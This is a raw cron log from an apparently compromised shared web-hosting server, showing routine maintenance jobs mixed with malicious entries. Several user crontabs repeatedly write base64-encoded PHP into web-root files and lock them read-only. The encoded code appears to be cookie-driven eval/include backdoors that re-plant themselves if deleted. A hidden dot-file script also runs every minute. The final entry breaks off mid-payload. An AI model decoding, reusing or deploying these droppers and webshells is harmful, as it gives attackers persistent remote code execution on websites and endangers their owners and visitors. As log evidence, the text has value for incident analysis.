Apr 19 07:55:01 medusa CROND[12248]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:55:01 medusa CROND[12249]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:55:01 medusa CROND[12250]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:55:01 medusa CROND[12251]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:55:01 medusa CROND[12247]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:55:01 medusa CROND[12241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:55:01 medusa CROND[12255]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:55:01 medusa CROND[12268]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:55:01 medusa CROND[12277]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:55:01 medusa CROND[12267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:56:02 medusa CROND[4738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:56:02 medusa CROND[4739]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:56:02 medusa CROND[4742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:56:02 medusa CROND[4743]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:56:02 medusa CROND[4745]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:56:02 medusa CROND[4746]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:56:02 medusa CROND[4748]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:56:02 medusa CROND[4749]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:56:02 medusa CROND[4750]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:56:02 medusa CROND[4751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:56:02 medusa CROND[4752]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:56:02 medusa CROND[4755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:56:02 medusa CROND[4756]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:56:02 medusa CROND[4760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:57:01 medusa CROND[29496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:57:02 medusa CROND[29605]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:57:02 medusa CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:57:02 medusa CROND[29607]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:57:02 medusa CROND[29608]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:57:02 medusa CROND[29609]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:57:02 medusa CROND[29610]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:57:02 medusa CROND[29611]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAk